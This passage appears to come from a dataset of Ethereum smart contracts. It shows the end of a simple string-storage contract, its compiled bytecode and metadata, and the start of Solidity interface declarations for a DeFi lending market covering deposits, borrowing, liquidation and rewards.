inLLV_edit_34 = newLLV_edit_34 ; } function getLLV_edit_34 () public constant returns ( string ) { return inLLV_edit_34 ; } }
0x606060405260043610610322576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301b54744146103275780630c21e754146103845780630d7b4ac4146103e15780630e03f2761461043e5780630ed659b41461049b5780630f15573b1461052957806312c7720714610586578063210153281461061457806323dd03c3146106a257806328242dd4146107305780633106aa801461078d5780633a6128db1461081b57806341080cfa1461087857806343596b8b1461090657806344aa768f146109945780634c0bd3ef14610a225780634c2ff0ae14610ab05780635372927314610b3e578063547c413714610bcc5780635b7c38ad14610c295780636014e37c14610cb757806360cfc62414610d45578063621fb94614610da257806362697f6914610e3057806362eb578914610ebe5780636491f0b714610f1b578063688d54b714610f78578063702a5f4f1461100657806372b30d391461106357806378caa728146110c05780637f592cfe1461114e578063850e2bc4146111ab57806386b88af01461120857806387541c9e146112655780638d7cdcf4146112c25780638e0adbf51461131f5780638f58190e146113ad57806394f2e6231461140a578063961a921814611467578063990fa439146114c4578063ae2da5c514611521578063b4542a70146115af578063b595357b1461163d578063b6506f25146116cb578063b87ee9d614611728578063bd52752714611785578063be4d06cc146117e2578063c40b716c1461183f578063c58093121461189c578063c7cd31d5146118f9578063cd482d9f14611956578063d094dd21146119e4578063de90110414611a72578063de942e6214611acf578063e83d589b14611b5d578063e9e43eef14611beb578063eb80084614611c79578063eec3e2e814611cd6578063ef35cdbb14611d33578063f10fae6214611dc1578063f337a0bb14611e1e578063f37ff01b14611eac578063f3d6cb2914611f3a578063f505a29914611f97578063f72db5a314612025578063fd63f640146120b3578063fdf5881414612141578063fe435f6b146121cf575b600080fd5b341561033257600080fd5b610382600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061225d565b005b341561038f57600080fd5b6103df600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612277565b005b34156103ec57600080fd5b61043c600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612291565b005b341561044957600080fd5b610499600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506122ab565b005b34156104a657600080fd5b6104ae6122c5565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104ee5780820151818401526020810190506104d3565b50505050905090810190601f16801561051b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561053457600080fd5b610584600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061236d565b005b341561059157600080fd5b610599612387565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d95780820151818401526020810190506105be565b50505050905090810190601f1680156106065780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561061f57600080fd5b61062761242f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561066757808201518184015260208101905061064c565b50505050905090810190601f1680156106945780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156106ad57600080fd5b6106b56124d7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106f55780820151818401526020810190506106da565b50505050905090810190601f1680156107225780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561073b57600080fd5b61078b600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061257f565b005b341561079857600080fd5b6107a0612599565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107e05780820151818401526020810190506107c5565b50505050905090810190601f16801561080d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561082657600080fd5b610876600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612641565b005b341561088357600080fd5b61088b61265b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108cb5780820151818401526020810190506108b0565b50505050905090810190601f1680156108f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561091157600080fd5b610919612703565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561095957808201518184015260208101905061093e565b50505050905090810190601f1680156109865780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561099f57600080fd5b6109a76127ab565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109e75780820151818401526020810190506109cc565b50505050905090810190601f168015610a145780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610a2d57600080fd5b610a35612853565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a75578082015181840152602081019050610a5a565b50505050905090810190601f168015610aa25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610abb57600080fd5b610ac36128fb565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610b03578082015181840152602081019050610ae8565b50505050905090810190601f168015610b305780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610b4957600080fd5b610b516129a3565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610b91578082015181840152602081019050610b76565b50505050905090810190601f168015610bbe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610bd757600080fd5b610c27600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612a4b565b005b3415610c3457600080fd5b610c3c612a65565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610c7c578082015181840152602081019050610c61565b50505050905090810190601f168015610ca95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610cc257600080fd5b610cca612b0d565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610d0a578082015181840152602081019050610cef565b50505050905090810190601f168015610d375780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610d5057600080fd5b610da0600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612bb5565b005b3415610dad57600080fd5b610db5612c2a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610df5578082015181840152602081019050610dda565b50505050905090810190601f168015610e225780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610e3b57600080fd5b610e43612cd2565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610e83578082015181840152602081019050610e68565b50505050905090810190601f168015610eb05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610ec957600080fd5b610f19600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612d7a565b005b3415610f2657600080fd5b610f76600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612d94565b005b3415610f8357600080fd5b610f8b612dae565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610fcb578082015181840152602081019050610fb0565b50505050905090810190601f168015610ff85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561101157600080fd5b611061600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612e56565b005b341561106e57600080fd5b6110be600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612e70565b005b34156110cb57600080fd5b6110d3612e8a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156111135780820151818401526020810190506110f8565b50505050905090810190601f1680156111405780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561115957600080fd5b6111a9600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612f32565b005b34156111b657600080fd5b611206600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612f4c565b005b341561121357600080fd5b611263600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612f66565b005b341561127057600080fd5b6112c0600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612f80565b005b34156112cd57600080fd5b61131d600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612f9a565b005b341561132a57600080fd5b611332612fb4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611372578082015181840152602081019050611357565b50505050905090810190601f16801561139f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156113b857600080fd5b611408600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061305c565b005b341561141557600080fd5b611465600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613076565b005b341561147257600080fd5b6114c2600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613090565b005b34156114cf57600080fd5b61151f600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506130aa565b005b341561152c57600080fd5b6115346130c4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611574578082015181840152602081019050611559565b50505050905090810190601f1680156115a15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156115ba57600080fd5b6115c261316c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156116025780820151818401526020810190506115e7565b50505050905090810190601f16801561162f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561164857600080fd5b611650613214565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611690578082015181840152602081019050611675565b50505050905090810190601f1680156116bd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156116d657600080fd5b611726600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506132bc565b005b341561173357600080fd5b611783600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506132d6565b005b341561179057600080fd5b6117e0600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506132f0565b005b34156117ed57600080fd5b61183d600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061330a565b005b341561184a57600080fd5b61189a600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613324565b005b34156118a757600080fd5b6118f7600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061333e565b005b341561190457600080fd5b611954600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613358565b005b341561196157600080fd5b611969613372565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156119a957808201518184015260208101905061198e565b50505050905090810190601f1680156119d65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156119ef57600080fd5b6119f761341a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611a37578082015181840152602081019050611a1c565b50505050905090810190601f168015611a645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611a7d57600080fd5b611acd600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506134c2565b005b3415611ada57600080fd5b611ae26134dc565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611b22578082015181840152602081019050611b07565b50505050905090810190601f168015611b4f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611b6857600080fd5b611b70613584565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611bb0578082015181840152602081019050611b95565b50505050905090810190601f168015611bdd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611bf657600080fd5b611bfe61362c565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611c3e578082015181840152602081019050611c23565b50505050905090810190601f168015611c6b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611c8457600080fd5b611cd4600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506136d4565b005b3415611ce157600080fd5b611d31600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506136ee565b005b3415611d3e57600080fd5b611d46613708565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611d86578082015181840152602081019050611d6b565b50505050905090810190601f168015611db35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611dcc57600080fd5b611e1c600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506137b0565b005b3415611e2957600080fd5b611e316137ca565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611e71578082015181840152602081019050611e56565b50505050905090810190601f168015611e9e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611eb757600080fd5b611ebf613872565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611eff578082015181840152602081019050611ee4565b50505050905090810190601f168015611f2c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611f4557600080fd5b611f95600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061391a565b005b3415611fa257600080fd5b611faa613934565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611fea578082015181840152602081019050611fcf565b50505050905090810190601f1680156120175780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561203057600080fd5b6120386139dc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561207857808201518184015260208101905061205d565b50505050905090810190601f1680156120a55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156120be57600080fd5b6120c6613a84565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156121065780820151818401526020810190506120eb565b50505050905090810190601f1680156121335780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561214c57600080fd5b612154613b2c565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015612194578082015181840152602081019050612179565b50505050905090810190601f1680156121c15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156121da57600080fd5b6121e2613bd4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015612222578082015181840152602081019050612207565b50505050905090810190601f16801561224f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b8060189080519060200190612273929190613c7c565b5050565b806009908051906020019061228d929190613c7c565b5050565b80601b90805190602001906122a7929190613c7c565b5050565b80600790805190602001906122c1929190613c7c565b5050565b6122cd613cfc565b60128054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156123635780601f1061233857610100808354040283529160200191612363565b820191906000526020600020905b81548152906001019060200180831161234657829003601f168201915b5050505050905090565b8060029080519060200190612383929190613c7c565b5050565b61238f613cfc565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156124255780601f106123fa57610100808354040283529160200191612425565b820191906000526020600020905b81548152906001019060200180831161240857829003601f168201915b5050505050905090565b612437613cfc565b601c8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156124cd5780601f106124a2576101008083540402835291602001916124cd565b820191906000526020600020905b8154815290600101906020018083116124b057829003601f168201915b5050505050905090565b6124df613cfc565b60178054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156125755780601f1061254a57610100808354040283529160200191612575565b820191906000526020600020905b81548152906001019060200180831161255857829003601f168201915b5050505050905090565b8060199080519060200190612595929190613c7c565b5050565b6125a1613cfc565b60158054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156126375780601f1061260c57610100808354040283529160200191612637565b820191906000526020600020905b81548152906001019060200180831161261a57829003601f168201915b5050505050905090565b8060059080519060200190612657929190613c7c565b5050565b612663613cfc565b60078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156126f95780601f106126ce576101008083540402835291602001916126f9565b820191906000526020600020905b8154815290600101906020018083116126dc57829003601f168201915b5050505050905090565b61270b613cfc565b60198054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156127a15780601f10612776576101008083540402835291602001916127a1565b820191906000526020600020905b81548152906001019060200180831161278457829003601f168201915b5050505050905090565b6127b3613cfc565b601a8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156128495780601f1061281e57610100808354040283529160200191612849565b820191906000526020600020905b81548152906001019060200180831161282c57829003601f168201915b5050505050905090565b61285b613cfc565b60108054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156128f15780601f106128c6576101008083540402835291602001916128f1565b820191906000526020600020905b8154815290600101906020018083116128d457829003601f168201915b5050505050905090565b612903613cfc565b601f8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156129995780601f1061296e57610100808354040283529160200191612999565b820191906000526020600020905b81548152906001019060200180831161297c57829003601f168201915b5050505050905090565b6129ab613cfc565b60098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612a415780601f10612a1657610100808354040283529160200191612a41565b820191906000526020600020905b815481529060010190602001808311612a2457829003601f168201915b5050505050905090565b8060209080519060200190612a61929190613c7c565b5050565b612a6d613cfc565b60168054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612b035780601f10612ad857610100808354040283529160200191612b03565b820191906000526020600020905b815481529060010190602001808311612ae657829003601f168201915b5050505050905090565b612b15613cfc565b600f8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612bab5780601f10612b8057610100808354040283529160200191612bab565b820191906000526020600020905b815481529060010190602001808311612b8e57829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612c1057600080fd5b80601a9080519060200190612c26929190613c7c565b5050565b612c32613cfc565b601b8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612cc85780601f10612c9d57610100808354040283529160200191612cc8565b820191906000526020600020905b815481529060010190602001808311612cab57829003601f168201915b5050505050905090565b612cda613cfc565b60118054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612d705780601f10612d4557610100808354040283529160200191612d70565b820191906000526020600020905b815481529060010190602001808311612d5357829003601f168201915b5050505050905090565b8060219080519060200190612d90929190613c7c565b5050565b8060069080519060200190612daa929190613c7c565b5050565b612db6613cfc565b60228054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612e4c5780601f10612e2157610100808354040283529160200191612e4c565b820191906000526020600020905b815481529060010190602001808311612e2f57829003601f168201915b5050505050905090565b80601f9080519060200190612e6c929190613c7c565b5050565b80601e9080519060200190612e86929190613c7c565b5050565b612e92613cfc565b600c8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612f285780601f10612efd57610100808354040283529160200191612f28565b820191906000526020600020905b815481529060010190602001808311612f0b57829003601f168201915b5050505050905090565b80600c9080519060200190612f48929190613c7c565b5050565b8060169080519060200190612f62929190613c7c565b5050565b80600a9080519060200190612f7c929190613c7c565b5050565b8060039080519060200190612f96929190613c7c565b5050565b8060089080519060200190612fb0929190613c7c565b5050565b612fbc613cfc565b600b8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156130525780601f1061302757610100808354040283529160200191613052565b820191906000526020600020905b81548152906001019060200180831161303557829003601f168201915b5050505050905090565b8060139080519060200190613072929190613c7c565b5050565b80600b908051906020019061308c929190613c7c565b5050565b80601190805190602001906130a6929190613c7c565b5050565b80600190805190602001906130c0929190613c7c565b5050565b6130cc613cfc565b60148054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156131625780601f1061313757610100808354040283529160200191613162565b820191906000526020600020905b81548152906001019060200180831161314557829003601f168201915b5050505050905090565b613174613cfc565b60138054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561320a5780601f106131df5761010080835404028352916020019161320a565b820191906000526020600020905b8154815290600101906020018083116131ed57829003601f168201915b5050505050905090565b61321c613cfc565b601d8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156132b25780601f10613287576101008083540402835291602001916132b2565b820191906000526020600020905b81548152906001019060200180831161329557829003601f168201915b5050505050905090565b80601490805190602001906132d2929190613c7c565b5050565b80600490805190602001906132ec929190613c7c565b5050565b80600d9080519060200190613306929190613c7c565b5050565b8060109080519060200190613320929190613c7c565b5050565b80600e908051906020019061333a929190613c7c565b5050565b80601c9080519060200190613354929190613c7c565b5050565b806017908051906020019061336e929190613c7c565b5050565b61337a613cfc565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156134105780601f106133e557610100808354040283529160200191613410565b820191906000526020600020905b8154815290600101906020018083116133f357829003601f168201915b5050505050905090565b613422613cfc565b600e8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156134b85780601f1061348d576101008083540402835291602001916134b8565b820191906000526020600020905b81548152906001019060200180831161349b57829003601f168201915b5050505050905090565b80600f90805190602001906134d8929190613c7c565b5050565b6134e4613cfc565b60068054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561357a5780601f1061354f5761010080835404028352916020019161357a565b820191906000526020600020905b81548152906001019060200180831161355d57829003601f168201915b5050505050905090565b61358c613cfc565b60188054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156136225780601f106135f757610100808354040283529160200191613622565b820191906000526020600020905b81548152906001019060200180831161360557829003601f168201915b5050505050905090565b613634613cfc565b600a8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156136ca5780601f1061369f576101008083540402835291602001916136ca565b820191906000526020600020905b8154815290600101906020018083116136ad57829003601f168201915b5050505050905090565b80601290805190602001906136ea929190613c7c565b5050565b80601d9080519060200190613704929190613c7c565b5050565b613710613cfc565b601e8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156137a65780601f1061377b576101008083540402835291602001916137a6565b820191906000526020600020905b81548152906001019060200180831161378957829003601f168201915b5050505050905090565b80601590805190602001906137c6929190613c7c565b5050565b6137d2613cfc565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156138685780601f1061383d57610100808354040283529160200191613868565b820191906000526020600020905b81548152906001019060200180831161384b57829003601f168201915b5050505050905090565b61387a613cfc565b600d8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156139105780601f106138e557610100808354040283529160200191613910565b820191906000526020600020905b8154815290600101906020018083116138f357829003601f168201915b5050505050905090565b8060229080519060200190613930929190613c7c565b5050565b61393c613cfc565b60208054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156139d25780601f106139a7576101008083540402835291602001916139d2565b820191906000526020600020905b8154815290600101906020018083116139b557829003601f168201915b5050505050905090565b6139e4613cfc565b60088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613a7a5780601f10613a4f57610100808354040283529160200191613a7a565b820191906000526020600020905b815481529060010190602001808311613a5d57829003601f168201915b5050505050905090565b613a8c613cfc565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613b225780601f10613af757610100808354040283529160200191613b22565b820191906000526020600020905b815481529060010190602001808311613b0557829003601f168201915b5050505050905090565b613b34613cfc565b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613bca5780601f10613b9f57610100808354040283529160200191613bca565b820191906000526020600020905b815481529060010190602001808311613bad57829003601f168201915b5050505050905090565b613bdc613cfc565b60218054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613c725780601f10613c4757610100808354040283529160200191613c72565b820191906000526020600020905b815481529060010190602001808311613c5557829003601f168201915b5050505050905090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10613cbd57805160ff1916838001178555613ceb565b82800160010185558215613ceb579182015b82811115613cea578251825591602001919060010190613ccf565b5b509050613cf89190613d10565b5090565b602060405190810160405280600081525090565b613d3291905b80821115613d2e576000816000905550600101613d16565b5090565b905600a165627a7a72305820ae3e5940de332c8e4ed0f07b9b270a8d1836364a79544e6dd0d118bbac31eba90029
{"success": true, "error": null, "results": {}}
8,316
0xd76b7060f1b646fa14740ff6ac670a4f0a6fc5e3
pragma solidity 0.6.12; interface marketManagerInterface { function setOracleProxy(address oracleProxyAddr) external returns (bool); function setBreakerTable(address _target, bool _status) external returns (bool); function getCircuitBreaker() external view returns (bool); function setCircuitBreaker(bool _emergency) external returns (bool); function getTokenHandlerInfo(uint256 handlerID) external view returns (bool, address, string memory); function handlerRegister(uint256 handlerID, address tokenHandlerAddr) external returns (bool); function applyInterestHandlers(address payable userAddr, uint256 callerID, bool allFlag) external returns (uint256, uint256, uint256); function liquidationApplyInterestHandlers(address payable userAddr, uint256 callerID) external returns (uint256, uint256, uint256, uint256, uint256); function getTokenHandlerPrice(uint256 handlerID) external view returns (uint256); function getTokenHandlerBorrowLimit(uint256 handlerID) external view returns (uint256); function getTokenHandlerSupport(uint256 handlerID) external view returns (bool); function getTokenHandlersLength() external view returns (uint256); function setTokenHandlersLength(uint256 _tokenHandlerLength) external returns (bool); function getTokenHandlerID(uint256 index) external view returns (uint256); function getTokenHandlerMarginCallLimit(uint256 handlerID) external view returns (uint256); function getUserIntraHandlerAssetWithInterest(address payable userAddr, uint256 handlerID) external view returns (uint256, uint256); function getUserTotalIntraCreditAsset(address payable userAddr) external view returns (uint256, uint256); function getUserLimitIntraAsset(address payable userAddr) external view returns (uint256, uint256); function getUserCollateralizableAmount(address payable userAddr, uint256 handlerID) external view returns (uint256); function getUserExtraLiquidityAmount(address payable userAddr, uint256 handlerID) external view returns (uint256); function partialLiquidationUser(address payable delinquentBorrower, uint256 liquidateAmount, address payable liquidator, uint256 liquidateHandlerID, uint256 rewardHandlerID) external returns (uint256, uint256, uint256); function getMaxLiquidationReward(address payable delinquentBorrower, uint256 liquidateHandlerID, uint256 liquidateAmount, uint256 rewardHandlerID, uint256 rewardRatio) external view returns (uint256); function partialLiquidationUserReward(address payable delinquentBorrower, uint256 rewardAmount, address payable liquidator, uint256 handlerID) external returns (uint256); function setLiquidationManager(address liquidationManagerAddr) external returns (bool); function rewardClaimAll(address payable userAddr) external returns (bool); function rewardTransfer(uint256 _claimAmountSum) external returns (bool); function updateRewardParams(address payable userAddr) external returns (bool); function interestUpdateReward() external returns (bool); function getGlobalRewardInfo() external view returns (uint256, uint256, uint256); } interface interestModelInterface { function getInterestAmount(address handlerDataStorageAddr, address payable userAddr, bool isView) external view returns (bool, uint256, uint256, bool, uint256, uint256); function viewInterestAmount(address handlerDataStorageAddr, address payable userAddr) external view returns (bool, uint256, uint256, bool, uint256, uint256); function getSIRandBIR(address handlerDataStorageAddr, uint256 depositTotalAmount, uint256 borrowTotalAmount) external view returns (uint256, uint256); } interface marketHandlerDataStorageInterface { function setCircuitBreaker(bool _emergency) external returns (bool); function setNewCustomer(address payable userAddr) external returns (bool); function getUserAccessed(address payable userAddr) external view returns (bool); function setUserAccessed(address payable userAddr, bool _accessed) external returns (bool); function getReservedAddr() external view returns (address payable); function setReservedAddr(address payable reservedAddress) external returns (bool); function getReservedAmount() external view returns (int256); function addReservedAmount(uint256 amount) external returns (int256); function subReservedAmount(uint256 amount) external returns (int256); function updateSignedReservedAmount(int256 amount) external returns (int256); function setTokenHandler(address _marketHandlerAddr, address _interestModelAddr) external returns (bool); function setCoinHandler(address _marketHandlerAddr, address _interestModelAddr) external returns (bool); function getDepositTotalAmount() external view returns (uint256); function addDepositTotalAmount(uint256 amount) external returns (uint256); function subDepositTotalAmount(uint256 amount) external returns (uint256); function getBorrowTotalAmount() external view returns (uint256); function addBorrowTotalAmount(uint256 amount) external returns (uint256); function subBorrowTotalAmount(uint256 amount) external returns (uint256); function getUserIntraDepositAmount(address payable userAddr) external view returns (uint256); function addUserIntraDepositAmount(address payable userAddr, uint256 amount) external returns (uint256); function subUserIntraDepositAmount(address payable userAddr, uint256 amount) external returns (uint256); function getUserIntraBorrowAmount(address payable userAddr) external view returns (uint256); function addUserIntraBorrowAmount(address payable userAddr, uint256 amount) external returns (uint256); function subUserIntraBorrowAmount(address payable userAddr, uint256 amount) external returns (uint256); function addDepositAmount(address payable userAddr, uint256 amount) external returns (bool); function addBorrowAmount(address payable userAddr, uint256 amount) external returns (bool); function subDepositAmount(address payable userAddr, uint256 amount) external returns (bool); function subBorrowAmount(address payable userAddr, uint256 amount) external returns (bool); function getUserAmount(address payable userAddr) external view returns (uint256, uint256); function getHandlerAmount() external view returns (uint256, uint256); function getAmount(address payable userAddr) external view returns (uint256, uint256, uint256, uint256); function setAmount(address payable userAddr, uint256 depositTotalAmount, uint256 borrowTotalAmount, uint256 depositAmount, uint256 borrowAmount) external returns (uint256); function setBlocks(uint256 lastUpdatedBlock, uint256 inactiveActionDelta) external returns (bool); function getLastUpdatedBlock() external view returns (uint256); function setLastUpdatedBlock(uint256 _lastUpdatedBlock) external returns (bool); function getInactiveActionDelta() external view returns (uint256); function setInactiveActionDelta(uint256 inactiveActionDelta) external returns (bool); function syncActionEXR() external returns (bool); function getActionEXR() external view returns (uint256, uint256); function setActionEXR(uint256 actionDepositExRate, uint256 actionBorrowExRate) external returns (bool); function getGlobalDepositEXR() external view returns (uint256); function getGlobalBorrowEXR() external view returns (uint256); function 